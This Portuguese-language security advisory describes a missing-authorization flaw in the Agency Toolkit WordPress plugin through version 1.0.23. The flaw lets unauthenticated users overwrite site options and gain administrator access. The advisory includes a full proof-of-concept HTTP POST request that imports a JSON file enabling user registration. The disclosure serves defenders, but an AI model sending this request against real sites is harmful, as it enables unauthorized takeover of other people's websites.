
Agency Toolkit <= 1.0.23 - Autorização Ausente para Atualização Arbitrária de Opções Não Autenticada
Agency Toolkit <= 1.0.23 - Autorização Ausente para Atualização Arbitrária de Opções Não Autenticada
O plugin Agency Toolkit para WordPress é vulnerável a modificação não autorizada de dados que pode levar à escalada de privilégios devido à ausência de verificação de capacidade na ação 'agency_toolkit_import' em todas as versões até, e incluindo, 1.0.23. Isso possibilita que atacantes não autenticados atualizem opções arbitrárias no site WordPress. Isso pode ser aproveitado para atualizar a função padrão de registro para administrador e habilitar o registro de usuários, permitindo que atacantes obtenham acesso administrativo a um site vulnerável.
POST /wp-admin/admin.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 485
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="agency_toolkit_import"
1
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="import_file"; filename="settings.json"
Content-Type: application/json
[
{
"option_name": "users_can_register",
"option_value": "1"
}
]
------WebKitFormBoundaryABC123--